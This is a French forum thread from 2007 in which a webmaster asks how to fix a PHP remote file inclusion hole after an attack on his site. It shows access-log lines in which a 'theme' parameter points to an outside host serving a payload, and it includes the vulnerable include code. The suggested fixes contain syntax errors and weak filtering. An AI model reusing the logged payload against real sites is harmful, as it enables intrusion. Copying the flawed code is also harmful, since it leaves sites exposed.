Securité et include

Signaler
Messages postés
20
Date d'inscription
samedi 10 février 2007
Statut
Membre
Dernière intervention
16 avril 2013
-
Messages postés
96
Date d'inscription
mardi 9 janvier 2007
Statut
Membre
Dernière intervention
18 avril 2007
-
Mon site est attaqué par un ou des hackers. Je suis un peu démuni.
l'attaque est décrite par mon hébergeur comme ceci:

escalades.fr
>
> Problème rencontré : Hidden PERL script
> Commande apparente : cupsd
> Exécutable utilisé : /usr/bin/perl
> Horodatage: Mon Feb  5 10:49:51 CET 2007

Je pense qu'il y a une faille du type "include" Voir ci-dessous ce que j'ai relevé dans les logs qui semble suspect :

222.231.57.158 www.escalades.fr - [08/Feb/2007:15:04:38 +0100] "GET /articles/02_Des,lieux/index.php?theme=http://www.imep.be/.xeqt/xeqt.gif? HTTP/1.1" 200 13076 "-" "libwww-perl/5.79"
222.231.57.158 www.escalades.fr - [08/Feb/2007:15:04:39 +0100] "GET /articles/02_Des,lieux/index.php?theme=http://www.imep.be/.xeqt/xeqt.gif? HTTP/1.1" 200 1354 "-" "libwww-perl/5.79"

J'ai trouvé ceci sur un tutorial de Jullian qui pourrait sécuriser mon script :(je remplacerai $page par ma propre variable)

$page=preg_replace("/[^a-z0-9_ ]/i", "", $page);
if(!@include("includes/$page.php"))die("Cette page n'existe pas sur le serveur, merci d'informer le webmaster du site si ce problème venait à se reproduire.");

 mais le pb est que si je supprime les "/" l'url ne marche plus
l'url valide est par exemple la suivante

http://www.escalades.fr/articles/02_Des,lieux/index.php?theme=Taghia-Maroc/

ces pages ne sont plus en ligne pour l'instant.

quelq'un aurait une idée ?
Merci d'avance.

13 réponses

Messages postés
20
Date d'inscription
samedi 10 février 2007
Statut
Membre
Dernière intervention
16 avril 2013

j'ai oublié de mettre le script en question :

//le script qui crée l'url

<?php
   
    $chemin = './';
    $ouverture = opendir($chemin);
   
   
    while($fichier = readdir($ouverture)){
        if($fichier!='.' &&$fichier !='..' &&$fichier !='skins' &&$fichier!=            'imgs' &&is_dir($chemin.$fichier)){
       
        $liens=explode(",", $fichier);
        $liens[0]= str_replace('_', ' ', $liens[0]);
        echo"$liens[0]

";
       
        }
    }
   
?>

//la commande de l'include:
<?php
   
    if (isset ($_GET['theme'])){
    $homme = ($_GET['theme']);
    include $homme."lire.php";

    }
    ?> 

MERCI D'AVANCE 
Messages postés
96
Date d'inscription
mardi 9 janvier 2007
Statut
Membre
Dernière intervention
18 avril 2007

Remplaces
<?php
   
    if (isset ($_GET['theme'])){
    $homme = ($_GET['theme']);
    include $homme."lire.php";

    }
    ?>

Par
<?php

   if (isset($_GET['theme']) && file_exists($_GET['theme'].'lire.php'))
{
   require $_GET['theme'].'lire.php';
}

Sans garantie et ceci ne sert juste à tester si le fichier existe. Maintenant pour supprimer les passages d'url, alors là essayes avec des preg_match().
Cordialement,
Kdecherf
Messages postés
20
Date d'inscription
samedi 10 février 2007
Statut
Membre
Dernière intervention
16 avril 2013

salut

je vais déjà appliquer ton script.

mais en plus c'est effectivement un passage d'url que je dois aussi empêcher.

pourrai tu me donner un exemple de preg_match()

c'est une fonction que je ne connais pas.

Merci

Philippe
Messages postés
96
Date d'inscription
mardi 9 janvier 2007
Statut
Membre
Dernière intervention
18 avril 2007

Remplaces mon bout de code par ceci :

<?php

if (isset($_GET['theme']))
{$theme strtr(htmlentities($_GET['theme']),array('http://'> '', '/' => '', '.' => ''));

if (file_exists($theme.'lire.php'))
{
   require $theme.'lire.php';
}

?>

Là je n'utilises pas les preg_match, c'est un petit détournement qui devrait bloquer les passages d'url de ce genre.

Obligations = les thèmes ne doivent jamais comporter des / ou des . dans leur nom auquel cas ils ne seront jamais accessibles.

J'espère que mon script est fonctionnel

Cordialement,
Kdecherf
Messages postés
20
Date d'inscription
samedi 10 février 2007
Statut
Membre
Dernière intervention
16 avril 2013

ton script est bien fonctionnel-merci

mais : ben mon problème est justement que mon "theme" contient un "/"

peut-être que la meilleure solution est que je trouve une solution en supprimant le / et en utilisant ton code ?

ça me pose un problème car c'est un répertoire ! donc pour qu'il s'ouvre le "/ " est obligatoire si je ne m'abuse ?

merci
Messages postés
96
Date d'inscription
mardi 9 janvier 2007
Statut
Membre
Dernière intervention
18 avril 2007

Ah d'accord ...

Si j'ai bien compris ce que tu veux :

if (isset($_GET['theme']))
{$theme strtr(htmlentities($_GET['theme']),array('http://'> '', '/' => '', '.' => ''));

if (file_exists($theme.'/lire.php'))
{
   require $theme.'/lire.php';
}

?>

Et là plus besoin de / à la fin du nom du thème dans l'url (si vraiment j'ai compris ce que tu faisais avec le système).

Cordialement,
Kdecherf
Messages postés
20
Date d'inscription
samedi 10 février 2007
Statut
Membre
Dernière intervention
16 avril 2013

je crois que là c'est bon effectivement.

je vais tester ça .
j'avais pensé à quelque chose comme cela mais je n'étais pas arrivé à le formuler. En plus avec require à la place d'include ça semble plus sur !

En tout cas encore merci !

Philclimb
Messages postés
20
Date d'inscription
samedi 10 février 2007
Statut
Membre
Dernière intervention
16 avril 2013

ça marche, mais ou places, dans le script ci-dessous, tu le @ pour interdire l'affichage de l'erreur php.

<?php
    
    if (isset($_GET['theme'])){        $theme strtr(htmlentities($_GET['theme']),array('http://'> '', '/' => '', '.' => ''));

        if (file_exists($theme.'/lire.php'));
           require $theme.'/lire.php';
        }

        

    ?>

Merci encore,
philclimb
Messages postés
96
Date d'inscription
mardi 9 janvier 2007
Statut
Membre
Dernière intervention
18 avril 2007

@file_exists(...
et @isset(...

Cordialement,
Kdecherf
Messages postés
20
Date d'inscription
samedi 10 février 2007
Statut
Membre
Dernière intervention
16 avril 2013

super , merci,

à charge de revanche ....

bon maintenant que j'ai apparamment comblé la faille de ces pages il me reste à sécuriser un formulaire mail grace auquel j'ai été l'heureux destinataire de 300 mails en une journée...

Ah ces spammeurs et hackers, on s'ennuirait sans eux!

Philclimb
Messages postés
96
Date d'inscription
mardi 9 janvier 2007
Statut
Membre
Dernière intervention
18 avril 2007

Pour sécuriser un formulaire de mail, il suffit d'ajouter un système d'images anti-robot (aussi appelé captcha par certains).

Cordialement,
Kdecherf
Messages postés
20
Date d'inscription
samedi 10 février 2007
Statut
Membre
Dernière intervention
16 avril 2013

Oui j'ai vu cela, mais j'ai codé mon site avec php4, crois tu que je puisse mettre à jour pour inclure une "captcha"?

Merci,
Philippe
Messages postés
96
Date d'inscription
mardi 9 janvier 2007
Statut
Membre
Dernière intervention
18 avril 2007

Tu peux les faire sous formes de fonctions sans passer par des classes mais bon ...

Cordialement,
Kdecherf